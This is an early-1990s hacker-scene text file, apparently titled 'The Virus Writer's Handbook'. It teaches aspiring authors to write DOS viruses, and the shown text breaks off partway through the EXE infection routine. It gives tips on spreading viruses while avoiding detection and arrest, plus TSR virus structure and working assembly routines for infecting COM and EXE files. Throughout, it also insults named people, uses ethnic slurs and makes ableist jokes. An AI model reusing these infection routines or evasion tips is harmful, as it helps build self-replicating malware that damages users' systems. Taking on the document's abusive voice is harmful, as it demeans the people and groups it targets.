VIRUSES:
What they are
What they do
How they are written
The Virus Writer's Handbook: The Complete Guide
(c) 1992 Terminator Z (AKA Harry McBungus)

      Table of Contents
      -----------------
      1.0     INTRODUCTION
      1.1     Greets/Acknowledgements
      1.2     Dedications
      1.3     Notes to virus groups
      1.4     For the aspiring virus writer

      2.0     OVERVIEW OF VIRUSES
      2.1     What is a virus?
      2.2     What kinds of viruses are there?
      2.3     Why do I want to write one?
      2.4     Prominent virus writers
      2.5     Legal Implications
      2.6     Public Misconceptions

      3.0     ANATOMY OF A VIRUS
      3.1     Memory Resident vs. Direct Action
      3.2     Size vs. Speed
      3.3     The lame virus
      3.4     Tools for the job

      4.0     INFECTING FILES
      4.1     COM infection
      4.2     EXE infection
      4.21    OV? infection
      4.3     SYS infection
      4.4     Boot Sector Viruses

      5.0     TRICKS
      5.1     Self-Encryption
      5.2     Stealth-related
      5.21    Quasi-Stealth
      5.22    Disinfect on-the-fly
      5.4     Multipartite
      5.5     Warm-boot survival
      5.6     False Errors

      6.0     TSR METHODS
      6.1     Vector Table
      6.2     Low Memory Hole
      6.3     Normal Memory Block
      6.4     Himem: above TOM
      6.5     Himem: below TOM
      6.51    Reserving Memory at Himem
      6.52    Shortening last block using DOS calls
      6.53    Faking ownership
      6.54    Shortening last block manually

      7.0     HOOKING INTERRUPTS
      7.1     Direct vs. Dos Call
      7.2     Modifying Code
      7.3     Modifying DOS

      8.0     INTERRUPT HANDLERS
      8.1     Timer interrupts
      8.11    08 vs 1c
      8.12    Keeping time
      8.13    Triggering events
      8.2     Keyboard interrupt
      8.21    Ctrl-Alt-Del detection
      8.3     DOS Interrupts
      8.31    File Open (handle)
      8.32    File Rename (handle)
      8.33    Attribute Change
      8.34    Execution
      8.35    Extended Open (handle) (DOS 5+)
      8.4     Quasi-Stealth operations
      8.41    Find First, Find Next (FCB)
      8.42    Find First, Find Next (handle)
      8.5     Stealth operations
      8.51    File Open
      8.52    Restoring original code
      8.53    Truncating the file
      8.54    File Close

      9.0     Epilogue
      ---------------------------------------------------------------------

      1.0     INTRODUCTION
      ---     ------------
      Greetings to all who are reading this purely informational text file.
      This file is aimed at educating the public on the subject of viruses -
      what they are, how they work, and what techniques a virus author is
      likely to use.  BY NO MEANS IS THIS TEXT FILE AIMED TO BE USED IN THE
      CREATION OF A VIRUS!  The use to which this text file is put, however,
      is in the hands of the reader, and I am to bear no responsibility
      whatsoever as to forthcoming liveware which draws information out of
      this text file.

      I have written this text file because I think it is a good means of
      communicating ideas and concepts to others.  I have written a number of
      viruses which were *accidently* released into the public domain (bad
      luck).  All my viruses to date (except a few lame attempts a few years
      back) have been TSR COM and EXE file infectors at least.  Some were
      stealth, some were only quasi-stealth, others infected the partition
      table as well... I even wrote a boot sector virus (BSV).  In other
      words, I have done it all.  (let's not get too carried away here...)  I
      do not claim to have made the smallest of their kind, although sometimes
      that is the case; eg. MicroAcne, the COM/EXE/OVL/SYS/Partition/Quasi-Stealth
      /Self-Encrypting virus, which was under 2k.  The only viruses which come
      anywhere near that at this point in time is the Tequila virus
      (EXE/Partition/Quasi-Stealth/Self-Encrypting, 3k), Invol
      (EXE/SYS/Self-Encrypting, 1.5k), Invader (COM/EXE/Boot/Warmboot-Survive,
      4k), and so on.

      I HATE HATE HATE HATE HATE overwriting non-resident viruses.  Any wanker
      can program them.  Even Rock Steady [NuKE] progressed onto the big
      Non-Resident Parasitic COM infector long ago.  If he can, you can.

      (and BTW, I used the handle Harry McBungus when writing my viruses.
      That was my other handle, and I have shed it.)

      With all that out of the way, we can start.

      (BTW, ONAK are worse than PCNK in VSUM)

      1.1     Greets/Acknowledgements
      ---     -----------------------
      I might as well greet a few people in here since this is sure to travel
      far.  It may not be the best place to greet some of these people, but
      who gives a fuck.

      Patricia Hoffman.  I could write pages of stuff to you, mostly
              highlighting your need to gain some programming skill and
              ability to recognize viral structures etc.  It doesn't half show
              up when 60-70% of your entries include the text string...
              "It is unknown what else this virus does besides replicate".
              Anyway, love you much, dont forget to turn your electric buddy
              off when you go to bed.
      John McFuck.  Nice sensationalist mickey-mouse outfit of a virus
              company.  Wanker.
      Peter Norton.  Nice anti-virus software.  Runs like an epileptic with
              stroboscopic sunglasses.
      Dopeman.  Nice contribution to society.  Boom boom.
      Optical Illusion... Got a spare laptop?..
      J.O.E.  Grafix, Music and programming?  Love it.  I need to talk to you.
              And yes I agree with your statement regarding Hard Core...
              he DOES program like a headless chicken...
      Acid Phreak.. Grow some new parents.. or at least put them up
              for adoption
      Lord Venom.  I need to talk to you, call Wizards Tower some time.
              I'll give you some nice source codes.
      Suicide Tsui.  Use Morpheine next time.  You won't need to have your
              stomach pumped then.
      Tormentor.  Fucking lame.  At least you're trying.
      Rock Steady.  Yeah you've got a bit of promise, but you've done nothing
              fancy enough to support that inflated ego.  Try to make
              something without ripping off someone else's source code.
              And no I'm not picking on you, you're just the first person that
              comes to mind on some things...
      PsychoBlast.  Nice virus buddy.
      Storm Waterdrain. Nuggas in effect hhehe yeppo

      1.2     Dedications
      ---     -----------
      Just one dedication, fellas...

      "[this document is] Dedicated to the dynamic memories of the millions of
      viruses who are no longer with us today."
                                              - Ashar/Brain virus

      Oh and thanks to Faith No More, Nirvana, Metallica, Led Zeppelin, Red
      Hot Chili Peppers, Jimi Hendrix and Public Enemy for the soundtracks to
      which this text file was written.

      1.3     Notes to virus groups
      ---     ---------------------
      RABID   They may not have been the best viruses, but you did it by the
              numbers.  Absolutely nothing to rave about though, except maybe
              [Su2] sorry I mean DataRape 2..  but you ripped 95% of that
              anyway (but at least it's listed "Common").
              Sorry to see you die.
              Best virus to date:  Sunday-2
      NuKE    Attitude problems from hell.  Getting your viruses into VSUM is
              not the penultimate goal of virusing.  It's writing a small,
              fast, quickly-spreading virus which is WORTH admiring.  Not like
              903 bytes of shitty Nonresident COM infector.  As I said, you're
              coming closer, but still a long LONG way to go.  And throw away
              your Vienna source.  It's a bad influence.
              Best virus to date:  A shit vienna clone
      CPI     Were those newsletters supposed to be funny?  Generic virus?
              Renaming EXEs to COMs?  Ha!
              Best virus to date:  An even worse vienna clone
      NoT     Nice virus division.  Written anything yet?
              Best virus to date: ???
      SCP     DO NOT WRITE ANOTHER OVERWRITING VIRUS.  I will get very angry.
              "Southern Corrupt Programmers"?  I'm not knocking you, at least
              you're doing something constructive, even if it is ONLY an
              overwriting nonresident COM infector..<smirk>.. As I said, I
              want to have a chat with you guys.  You can make it.  You don't
              have much competition from the abovementioned groups.
              Best virus to date:  Viper
      CAVE    Noticed your viruses in VSUM.  Anything new?
              Best virus to date:  Hydra series
      ABT     Even though you're asian you're the most successful virus
              writing group.  Even so, they're not worth bragging about
              either, I mean so what if it can survive a warm boot if it's 4k?
              I like your boot sector infection.  Your code stinks, though.
              Best viruses to date: Invader, Plastique
      IVRL    Cracker Jack, you are a wanker, your viruses are shit, you're a
              greasy Italian.  You're about as original as Patricia Hoffman.

      Sorry if I sound arrogant but I'm just trying to put things in
      perspective.  There are too many egos inflated with little more than hot
      air.

      1.4     For the aspiring virus writer
      ---     -----------------------------
      The 10 commandments of virus writing

      1.      Thou shalt not create an overwriting virus
      2.      Thou shalt not rip off entire viruses and change the copyright
      3.      Thou shalt not release fucked viruses
      4.      Thou shalt not upload viruses to McFuck
      5.      Thou shalt not brag about your viruses
      6.      Thou shalt not give friends your viruses
      7.      Thou shalt not infect your own machine
      8.      Thou shalt not write a virus except in ASSEMBLY
      9.      Thou shalt not have stupid messages in your virus
      10.     Thou shalt not discuss viruses under your own name (on BBSs)

      Guide to the 10 commandments...

      1.      Thou shalt not create an overwriting virus

      Quite frankly, if you create an overwriting virus after reading this,
      there is no reason for anyone to treat you as anything other than a
      complete fuckwit who can't program.  Respect is not gained by writing
      unoriginal lame viruses.

      2.      Thou shalt not rip off entire viruses and change the copyright

      Any fucker can get the Vienna source, change it a bit, and create yet
      another variant of an already completely fucked virus.  Any fucker can
      get the Dark Avenger source and edit out some of the myriad bugs and
      release it as a new virus.  Any fucker can get the NF30 source (by me)
      and edit it and release it as a new virus.  It's just not on.  The
      problem is that John McFuck is laughing all the way to the bank, some
      stupid company paying megabucks for virus protection when they see how
      many viruses there are.  They don't realize most of them are shit
      nonresident COM infectors.  Make McFuck work for his money.

      3.      Thou shalt not release fucked viruses.

      I could have released my first-ever virus 18 months ago.  It was a lame
      Nonresident parasitic COM infector, 572 bytes long, going in a loop
      until there were no files left to be infected.  This was dead easy to
      spot.  Unlike many, MANY lame virus writers, I decided against its
      release until I could make something worth releasing.  There is simply
      no reason to release fucked viruses.  Do you want to be known for a few
      lame NRP COM infectors?  No.  So don't.

      4.      Thou shalt not upload viruses to McFuck

      Lamers tend to be anxious to get into VSUM and the likes.  But I doubt
      that anyone realizes that if you have written a genuinely decent virus,
      it will wind up there on its own accord?  Ever heard of natural
      selection?  Even if you do write a decent virus and upload it to McFuck
      hoping for early recognition, you'll go down in virus history as the
      wanker who cut his own virus's throat by not letting it spread by
      itself.  (Yes I'm talking to you, Rock Steady.. heh)

      5.      Thou shalt not brag about your viruses

      This is a very important rule.  You'll give yourself a bad name with the
      scene.  You're very likely to let slip something which will get you
      hung.  You can be tricked into saying things you don't mean by reporters
      and such (like I did).  I learned the hard way.  You WILL learn to
      regret it if you don't heed my advice.  If you are good enough to be
      noticed.

      6.      Thou shalt not give friends your viruses

      As Rodney Rude put it...

      a: "She bled to death from Gonorrhea"
      b: "but gonorrhea won't make you bleed to death..."
      a: "It does when you give it to me!"

      No Frills 2.0 was on a disk which contained the Galactix zip, which I
      gave to a friend... He ran it (the virus), wondering what the file did,
      then read the file NOFRILLS2.TXT by loading up QEdit.  Upon reading he
      realized that it was a virus, and rebooted, forgetting the infected
      QEdit.  He proceeded to give the game Gods around (infected) and it
      spread around the local lame pirate scent and onto some key computers,
      from which the virus skipped around the globe.

      You don't give viruses to your friends if you want to keep them.

      7.      Thou shalt not infect your own machine

      A small dose of common sense will tell you this is true.  Don't infect
      your own machine, regardless whether you're stepping through someone
      else's with a debugger or your own... unless you know EXACTLY what
      you're doing.  (I do it all the time, but of course I know which bits to
      disable with my debugger).

      8.      Thou shalt not write viruses except in ASSEMBLY

      What a wanker you would be to write a virus in Pascal, C or even Basic
      for the severely disabled.  This goes without saying.

      9.      Thou shalt not have stupid messages in your virus

      One of the easiest ways for your virus to be detected is to leave
      spurious and obvious text strings in your virus.  A good example of a
      reject who does this without fail is Rock Steady, eg.
         "ParaSite Virus 1.x  Released Montreal 199x  by Rock Steady [NuKE]"
      This is a sign you're only doing it for VSUM.  Not a good thing to do.
      Not only are they easy to spot, they can confuse the walnut-brained AV
      researchers enough to misname your virus.  This is not nice...I think
      they do it on purpose.  Of course, text strings are acceptable if your
      virus is encrypted.

      I am not saying that I am completely innocent of this.  My first public
      release, X-Fungus, was riddled with the things.  It spread quickly,
      though, with most people in my area relying totally on signature
      scanners to detect viruses...which is funny, for if they had the virus,
      every file they scanned would become infected.. hehe.  You'll probably
      see them in VSUM if you look hard enough.

      10.     Thou shalt not discuss viruses under your own name (on BBSs)

      See point 5 for a description of the effects.  Apart from looking stupid
      you will be used as a scapegoat by the users on the board.

      Most of the commandments are just common sense, but it is disturbing to
      note how many of today's virus writers are very stupid in this regard,
      to commit genocide on their own viruses by not following the above
      "rules".

      2.0     OVERVIEW OF VIRUSES
      ---     -------------------
      In this chapter we will discuss the virus's anatomy, its general effects
      on system performance, and other aspects of virusing.  Also a brief
      background on the legal side of things, and the common misconceptions of
      viruses in the public and media.

      2.1     What is a virus?
      ---     ----------------
      It is important to distinguish between a virus and a trojan.
      Technically speaking, a virus is a trojan, but a trojan is not a virus.
      The technical defintion of a trojan is a piece of code which does
      something that the program isnt supposed to do; eg. the original Cascade
      TROJAN, which was meant to be a program to turn off the numlock at
      bootup (which the code MOV DS, AX/MOV [417h], 0/INT 20H will do), but
      instead dumped all the characters on the screen in a pile on the bottom.
      This was a TROJAN:  the program was not what it was labelled.  BUT later
      on, the code to do that was incorporated into a VIRUS (now known as the
      170x/Cascade virus).  Viruses can be classed as "portable trojans" which
      MODIFY programs to do what they aren't labelled to do; ie. spread the
      virus.          (this is not the best description available, and I hope
      you follow).

      TROJAN: code which is disguised as something else
      VIRUS:  portable trojan
      (again, the terrible distinction.  I know in my own mind what the
      difference is.  I hope I communicated the drift.)

      2.2     What kinds of viruses are there?
      ---     --------------------------------
      There are two extremely broad categories, these being Resident and
      Nonresident viruses.  Note that most (nearly all) of the common viruses
      on the planet fall within the Resident category.

      There are viruses which infect executables (97-99% of all viruses), boot
      sectors, partition tables, system files, directory entries (the least
      exploited method - it is very hard to implement), and so on.  More on
      this later.

      2.3     Why do I want to write one?
      ---     ---------------------------
      Ask this of yourself.  Why do you want to write a virus?

      As is true in most things, you will only succeed if you have set
      yourself a goal.  In this case, the goal of writing a virus... or is it
      more than that?  What lies behind this "I wanna write a virus"?

      The most common:     1) Challenge
                           2) Recognition
                           3) Curiosity

      I can say that the first of the above was what attracted me to writing a
      virus.  I can tell you that I learned infinately more writing viruses
      that I would have screwing around with lamo manuals and assembly books.
      I taught myself assembly while writing viruses.  I would learn a new
      instruction and how it fit together.  I'd write a small routine using
      it, then incorporate it in a virus.  Sounds silly, but it's true.  This
      is especially true of the DOS functions.  Nothing uses them more
      extensively than viruses.

      In creating my viruses, I learned many things.  Among them:
              1) File manipulation
              2) Memory manipulation
              3) Tight coding practices
              4) etc...

      In challenging myself to write the smallest virus I could I could
      achieve small and efficient code, for other things far detached from
      viruses.  For example, my graphics code uses several shortcuts I
      discovered while programming viruses.

      Viruses tend to force you to use registers to their best advantage, and
      how to use the stack to your best advantage.  My NF30 virus uses
      absolutely 0 data areas in most of the code, the only place being the
      infection of the EXE file and calculating the JMP instruction for the
      COM infection.

      In short, viruses are a good programming challenge and anyone looking to
      improve their assembly skills should challenge themselves to write the
      smallest virus they possibly can (that is TSR of course).

      2.4     Prominent virus writers
      ---     -----------------------
      Perhaps the most famous (or infamous!) virus author in the world would
      be Dark Avenger.  He has done almost everything.  His first virus, Eddie
      (better known as Dark Avenger... there's AV researchers for you.  Now
      what did I say about text strings hmm?), was a TSR COM and EXE infector,
      infecting on Open, Execute, Attrib Change, Move, and Close.  It would
      capture int 21h (DOS) and keep it, if anything tried revectoring it
      would steal it back (I have seen no other virus doing that to this day).

      After that he went on to bigger and better things, making viruses such
      as V1024, V2000, Number of the Beast, Anthrax and other viruses.
      Anthrax was a shame since it had the potential to become great, since it
      was among the first mutipartite viruses (infecting COM, EXE and
      Partition table).  It's only problem (being the reason of its major
      flop) is that instead of infecting the program being run, it would
      search the hard drive for the lowest directory and infecting programs
      there (ie. from the lowest directories up).  This was not only lame but
      slow as well, dead obvious even to the most brain-dead of AV
      researchers.

      Other known virus writers include phenominally lame characters, such as
      Cracker Jack (IVRL), Rock Steady (NuKE) and The High Evolutionary
      (RABID).  (The first two creating lame and unoriginal viruses with large
      text strings, the last just ripping off Vienna a few zillion times to
      create the Violator range.  At least he admitted it though.  A good
      sign.)

      2.5     Legal Implications
      ---     ------------------
      I am no legal wanker and don't claim to be.  However, I have a general
      idea on the laws and such regarding viruses.

      Australia.  There's no problem with writing the things, but if you're
            found deliberately spreading them you're in serious shit.
      USA.  Depending on state you can be fucked over for even writing the
            things, but mostly similar to Australian law.
      Bulgaria.  Obviously no problem with writing or distributing viruses
            there.  Just ask Dark Avenger.

      You can get a bad rep for writing viruses, and for fuck's sake DON'T
      WRITE A DESTRUCTIVE VIRUS!  YOU CAN BE SUED FOR DAMAGES!

      2.6     Public Misconceptions
      ---     ---------------------
      The worst problem of all is the lack of public understanding of viruses.
      I could devote the next 20k of this file on the subject, but I won't.
      I'll pin it on one entity.

      The Media.

      The media would have it that every single virus in existence will
      destroy hundreds of hours work on every computer they come in contact
      with.  They (the viruses) will ruin computers, rendering them useless
      unless they are taken to an AV researcher as soon as possible.  They
      will ruin monitors; they will snap backup tapes; they will wreck
      floppies; they will write through write protect tabs; they will format
      your hard drive.

      This is all complete and utter bullshitism and sensationalism.

      Even my X-Fungus virus was branded a killer.  I didn't realize the
      extent of public ignorance.  Compounded by a fuckwit of a reporter I was
      not made to look good at all.

      Let me tell you first that X-Fungus is a benign virus, infecting COM and
      EXE employing Quasi-Stealth (hiding file size increase) routines.  It
      infected on Open, Extended open, Execution, Move, Execution, Attrib
      Change.

      Headline:       "Teenager Terminator at 15"   (I am 16 now, though)
      Subheadline:    "Virus writer leaves deathly calling card"
      [extract from first 2 paragraphs]:
                      "Few people knew of the dead rock band drummer but all
                       knew it spelt disaster...[...]...It quickly spread
                       through [a certain company] wreaking various degrees of
                       havoc..."

      Deathly calling card?  What's deathly about a text string?  (BTW the
      text string read:      John Bonham - September 20, 1980
                                - L E D   Z E P P E L I N -    )
      And yes I know, I got the date off by 5 days - what a fuckup.  Life.

      "...but all knew it spelt disaster..."  Disaster?  They had it for over
      a week before they knew about it.  Call that a disaster?  "Luckily no
      data was lost".  Luckily?  If they could tell their wanking hand from a
      keyboard they would realize that there was no destructive code in it.

      "...It quickly spread through [] wreaking various degrees of havoc..."
      What degrees of havoc?  0.  None at all.

      Then came the letters to the editor.  Both echoed that I should be
      publicly humiliated and made to pay for what I had done.

      But what HAD I done?  Naturally they assumed that I had caused thousands
      of dollars damage to their computers.  Now where could this assumption
      have come from?  The media?  Nahh...  The media are nice, responsible
      people.

      In fact I called both the people that wrote in and had their letters
      published.  The first one was nice about it, and I moved her opinion to
      one of hatred towards me to the fucker that wrote the article.  The
      second hung up on us, not before I asked ... no here's a dialogue...

      me:     "Hi... This is terminator Z... You wrote into the paper .."
      her:    "yes.  All I have to say is that I own a PC, I put a lot of time
              into it and I don't want to see all my work destroyed.  <click>"

      See the last line?  So much for public education.  I also see McFuck is
      eager to push this.  I see him failing dismally in educating the public
      on his merry way to the bank.  Michaelangelo?  What a public threat to
      all computers!  Didn't you know that every single floppy had it?  Or so
      the media had it.

      Anyway, I think I have communicated my absolute disgust at the AV
      community and the Media in general.  You get a more direct story on a
      murder if you ask the corpse.  The media's story is more distorted than
      a spastic's face when you plug him into a power socket.  (etc).

      3.0     ANATOMY OF A VIRUS
      ---     ------------------
      In this chapter I will discuss how most viruses are structured, the pros
      and cons of various approaches, and so on.  We start getting down to
      business in this chapter.

      3.1     Memory Resident vs. Direct Action
      ---     ---------------------------------
      There are many types of viruses, but they all fall into two very
      distinct and wide-ranging categories: Resident and Nonresident.

      On their own, this classification is far too indistinct to be of any
      use.  So each are divided up again.

      Resident:  Boot sector viruses, executable infectors
      Nonresident: Executable infectors

      Still no real distinction.  At this point we must realize that by their
      very nature, Resident viruses are far more common (by number of infected
      sites) than Nonresident viruses (another reason not to write
      nonresidents).

      Resident Executable infectors: COM infectors, EXE infectors,
              OVL infectors, SYS infectors.
      Nonresident Executable infectors: COM infectors, EXE infectors.

      Again the limitations of Nonresident are evident.

      General structure of a Nonresident Parasitic:
              JMP to virus code
              Find first in (*.com) or (*.exe)
         /--->Open found file
        l|    Check for infection
        o|      -> Infected: exit
        o|    Infect File
        p|    Close it
         |    Find next
         \--<--
              Restore first 3 bytes
              JMP to exec adress

      General structure of a Resident Parasitic:
              JMP to virus code
              Resident?
                -> Yes: exit1
              Install TSR
              exit1:
              restore bytes (if COM)
              JMP to exec address

              TSR:
              Exec?
                -> Yes: Infect
              Open?
                -> Yes: Infect
              Attrib change?
                -> Yes: Infect
              Move?
                -> Yes: Infect
              TSR check?
                -> Yes: Return resident flag
              Exit2

              Infect:
              COM or EXE?
                -> No: Exit2
              Infected already?
                -> Yes: Exit2
              Get Attribs
              Get Date & Time
              Set Attrib=0
              Call COM/EXE infect routine
              Reset Date & Time
              Reset Attribs
              Exit2

      As you can see, the Resident virus is far more complex in layout.  In
      reality, it's not all that complicated.  You may be able to see how it
      promotes structured and well-ordered code.  (Some authors take
      "subroutining" to the extreme - those of you who have stepped through
      the Keypress virus will know what I mean.  Hi to you if you wrote
      Keypress!).

      3.2     Size vs. Speed
      ---     --------------
      As seems logical, the larger a virus is the longer it will take to
      infect files and will be easier to notice.  Good programming should keep
      the average virus below 1.5k.  For anything more than 2k you should be
      spanked, unless it does something really tricky.

      Some code is so ratshit you'd think a headless chicken programmed it.
      The worst example of a well-written virus (apart from ones written in
      BASIC) would be a tie between a number of viruses:  the entire Jerusalem
      family, the entire Plastique family, Whale, SVC 6.0, and to a lesser
      degree the Eddie virus (a shocker, not good to start out learning from).

      Although the Whale virus is large, it is one of the most sophisticated
      viruses out there in the wild.  It is what you could call a
      Schitzophrenic virus, changing its behaviour.  Read up on it somewhere.
      It is made slow because the author thought he'd be smart and confuse
      people by putting in millions of CALL instructions instead of JMPs.  As
      a result, the code jumps around like an epileptic on an electric
      trampoline.  Sure, it confused the fuck out of me.  Try it yourself.

      You might think 4096 is a good virus.  Well it's not.  It's fucked as
      far as code structuring goes.  The guy is so wasteful.  I wrote a
      similar virus in less than 2k.  But mine didn't have a boot sector
      imbedded in it like the 4096 does... so ok, 2.5k vs. 4k... which is
      better?  Anyway.

      3.3     The lame virus
      ---     --------------
      You only have to load up VSUM and press a few arrow keys and enter keys
      to find a lame virus these days.  This is what you do while using
      VSUM....
              "Overwriting Non..." is as far as you look.  Skip.
              "Non-Residen..." Skip.
              "COM Infec..." Skip.

      There's even a hopeless virus out there which is Resident Overwriting
      COM infector.  How lame can you get?

      The headings on Non-lame viruses...
              "Memory Resident Parasitic COM and EXE infector"
              "Memory Resident Parasitic COM, EXE and Partition Table"
              "TSR Stealth COM, EXE, SYS, OVL, Boot Sector and Partition Table
               infector"     <-- The ultimate virus

      3.4     Tools for the job
      ---     -----------------
      OK, you've been drooling for the past ten minutes reading over this text
      file bulging with ideas to put into viruses.  Write them all down so you
      can come back to them later!  (A note at this:  Try out your ideas!
      Otherwise your virus will join the countless in the ranks of the
      standard TSR COM & EXE Parasitics!  Be ORIGINAL!)  So how?

      Originality is a key factor in creating a decent virus.  This is what
      the likes of Rock Steady and Cracker Jack lack.  (Rock Steady isn't so
      bad... at least he's dedicated to his work.  Keep it up Rock.  Nothin'
      comes easy.)

      A decent assembler.  I have a no-nonsense and (above all) QUICK
      assembler, none other than Eric Isaacson's A86 3.19 - a very good
      assembler.  I might even register it one day, it's that good.  Well at
      least it's good for this kind of stuff, and it doesn't cry to mama when
      it doesn't get segment definitions etc.  It can even produce OBJs.  It's
      not too keen on arithmetic (eg. it can't do MOV AX, (E_LEN-S_LEN)/16+1).

      Some reference material.  I use Norton's Guide to Assembly.  A very
      good manual.  Someone will have it, pirate it off them.  The MS-DOS
      Encyclopedia is also handy to have regarding DOS structures and things.
      Another handy hypertext manual to have is Tech_Help! by Flambeaux
      Software.  This isn't common, go buy it.  It's amazing.  It includes
      undocumented functions of DOS and structures.  I almost bought it until
      I found someone who already had it.  VERY GOOD.

      Time.  Lots of time is essential if you want to churn out your first
      virus quickly.  Afternoons are good.  Whole weeks are even better.
      Holidays are good, but you'd be a wanker if you weren't doing other
      things besides sitting at home all day during holidays.  But that's just
      personal opinion.  Anyway on with it.

      Stupid Parents.  Not stupid with everything, just stupid enough not to
      realize you're writing a virus.  Don't make directories called VIRUSES;
      don't call your source codes WIPEDISK or DISEASE or EPIDEMIC or anything
      like that;  don't head up your source code "; Computer Virus" or
      anything.  Straightforward common sense.

      Assembly Language experience.  This is ABSOLUTELY ESSENTIAL.  Need I say
      more?

      Computer equipment is not important.  I write all my viruses (and even
      this text file) on a shitbox 4.77 monochrome XT with a 99ms 20meg
      Miniscrap (complete with the occasional Seek Error Drive C:).  So what
      if you have 8 megs of RAM, have 4 porno Gifs in separate windows while
      running Trackblaster using your SB Pro and Scream Tracker using your PC
      Squeaker?  It doesn't really matter at all.

      4.0     INFECTING FILES
      ---     ---------------
      Down to business.

      Infecting files is the lifeblood of the computer virus.  If there were
      no infected files, there would be no virus... (yeah shut up I know about
      boot sector viruses.  Smart-arse.)

      Before we start, I must make it plain that all my routines are geared
      for TSR viruses.  (A coach doesn't teach anything but the best
      technique, does he?).  We are assuming that DS and ES registers are set
      to the segment of the virus and that there are data areas already mapped
      out under the names I use in the code.

      I also assume that the file to infect is already opened and the file
      handle is contained in the BX register.  The routine FUNCTION_CALL is a
      piece of code which simulates an int 21h, as such:
      function_call:  pushf
                      call dword ptr cs:[old_21]
                      ret

      4.1     COM infection
      ---     -------------
      The COM file is a direct image of a segment of memory.  DOS builds a
      Program Segment Prefix (PSP) in a free segment of memory, then loads the
      COM file to PSP:100h.  This is a fixed address.

      We can take advantage of this fixed load area.  The logic behind the
      infection of a COM file involves changing the first 3 bytes in the com
      file to a JMP instruction (0e9h, xx, yy  is JMP yyxx), after saving them
      somewhere else, of course.

      To calculate the number to go in the XX and YY areas in the above is
      very simple.  Seek to the end of the COM file (after making sure that
      the file will not overrun 64k after infection).  Subtract 3 (3 DECs)
      from the value returned in AX by the DOS function.  That's it.

      com_infection:                                ; called from main routine
                      call file_zero
                      mov cx, 3
                      mov dx, offset first3_save
                      mov ah, 3fh
                      call function_call            ; read original first 3 bytes
                      mov di, jmp_temp              ; work out jump
                      mov al, 0e9h                  ; JMP mnemonic
                      stosb
                      call file_end                 ; seek to EOF
                      or dx, dx
                      jnz dont_infect               ; if DX>0 then more than 64k
                      cmp ax, 4                     ; if len<4 then too small
                      jb dont_infect
                      push ax
                      add ax, v_len                 ; length of virus
                      jc dont_infect                ; CF set if overruns 64k
                      pop ax
                      dec ax                        ; subtract 3
                      dec ax
                      dec ax
                      stosw                         ; and now we have it
                      mov dx, start                 ; start of virus
                      mov cx, virus_length
                      mov ah, 40h                   ; Fn 40h, Write to handle
                      call function_call            ; Append virus to file
                      call file_zero                ; seek to 0
                      mov cx, 3
                      mov dx, offset jmp_temp
                      mov ah, 40h
                      call function_call            ; write first 3 bytes
      dont_infect:    ret                           ; return to main routine

      (note: NF30 does not care if the COM file will overrun the 64k barrier,
      because there aren't that many 63k COM files floating around out there)

      4.2     EXE infection
      ---     -------------
      Now THIS is one of the hardest hurdles to overcome.  Once you work out
      how to infect EXE files the rest comes a lot easier.  Try it yourself
      before reading this section.  I strongly urge you to do this.

      I worked out my own routine, because I couldn't understand what the fuck
      Dark Avenger was doing in Eddie... he must have been drunk or something
      when he wrote it.  Turns out my routine is smaller and faster anyway.

      The principle involves reading (and saving) the original values for the
      CS:IP and SS:SP of the EXE file and changing them for what is required.
      The hard bit comes when you go to calcate how many code pages are
      contained in the file after you've infected and so on.  It's complicated
      enough that I can't create the code off the top of my head like I did
      the COM infection routine above.

      Before we embark, I must describe the layout of the EXE file header.

      +0    * EXE file header (Signature)
      +2    * # of bytes in the final code page (Part_Page)
      +4    * # of code pages [1cp=512bytes] (Page_Cnt)
      +6      # of items in relocation table
      +8    * # of paragraphs in header (Hdr_Size)
      +0a     Minimum amount of memory needed to run
      +0c     Maximum amount of memory
      +0e   * Paragraph offset of Stack Segment on Startup (Relo_SS)
      +10   * Stack Pointer on Startup (Exe_SP)
      +12     Checksum of the EXE file
      +14   * Instruction Pointer on Startup (Exe_IP)
      +16   * Paragraph offset of Code Segment on Startup (Relo_CS)
      +18     Offset of relocation table
      +1a     Overlay Number

      '*' denotes items which are referenced or changed during infection.
          These are referenced using the labels in the brackets.

      Relevance of '*' items:
              Signature:   If this is not 'MZ' or 'ZM' it is NOT an EXE file
              Part_Page:   If this is wrong, the EXE will not load properly
              Page_Cnt:    If this is wrong, the EXE will not load at all
              Hdr_Size:    The size of the header is not counted in Page_Cnt
              Relo_SS:     We must not assume anything, we make our own stack
              Exe_SP:      Pointer to where our stack is within Relo_SS
              Exe_IP:      IP of start of virus
              Relo_CS:     Segment where virus is

      There are a number of ways to infect EXE files.  One method is to round
      up its length to a multiple of 16 (paragraph boundary) so that execution
      always starts at 0 or 100h (depending on what the author desires).  I
      hate this approach, becuase it makes it very hard to employ stealth
      techniques.

      BTW the function 4302h (LSEEK to end plus 0) returns the size of the
      file in AX and DX, the size being (65535*DX+AX).  It is necessary to
      convert the number of 65535's into an amount of paragraphs for it to be
      useful.  To do this:  Multiply the number in DX by 0ffffh, so you get a
      value in AX with the higher bits (the overflow) in DX, then dividing by
      16 (one paragraph).  You are left with the number of paragraphs in AX.

      exe_infection:  call zero_file          ; seek to 0
                      mov ah, 3fh
                      mov cx, 1ch
                      mov dx, temp_load       ; temporary load space
                      mov si, dx

                      call function_call

                      lodsw
                      cmp ax, 'ZM'            ; exe header signature
                                              ; (must have this)
                      je ef_ok
                      cmp ax, 'MZ'
                      je ef_ok
                      jmp com_infection

      ef_ok:          mov di, offset orig_ss
                      add si, 0ch             ; save the relevent info at the
                      movsw                   ; beginning of the virus
                      movsw                   ; (SS, SP, IP, CS respectively)
                      inc si
                      inc si
                      movsw
                      movsw

      zend_file:      call file_end           ; EOF

                      push dx                 ; save file length on stack
                      push ax

      write_end:      mov ah, 40h
                      mov cx, v_len           ; write virus (v_len is length of
                                              ; virus)
                      mov dx, 100h
                      call function_call
                      call file_end
                      mov word ptr [size_save], ax
                      mov word ptr [size_save+2], dx

      fix_dx:         pop ax                  ; refresh values in AX and DX
                      pop dx
                      push dx
                      push ax
                      xor bx, bx
                      or dx, dx               ; is DX 0?
                      jz fix_ax

                      xchg ax, dx             ; calculate the number of paragraphs
                      mov dx, 0ffffh          ; denoted by value returned in DX
                      mul dx                  ; (as described verbally, above)
                      mov bx, 10h
                      div bx
                      inc ax
                      mov bx, ax

      fix_ax:         pop ax
                      pop dx
                      xor dx, dx
                      mov cx, 10h
                      div cx
                      mov cx, dx              ; cx = fill bytes
                      add ax, bx              ; ax = no. of paragraphs

      patch_header:   sub ax, word ptr [hdr_size]

                      mov word ptr [relo_cs], ax
                      add cx, e_len           ; e_len: offset of EXE entry pt.
                      mov word ptr [exe_ip], cx

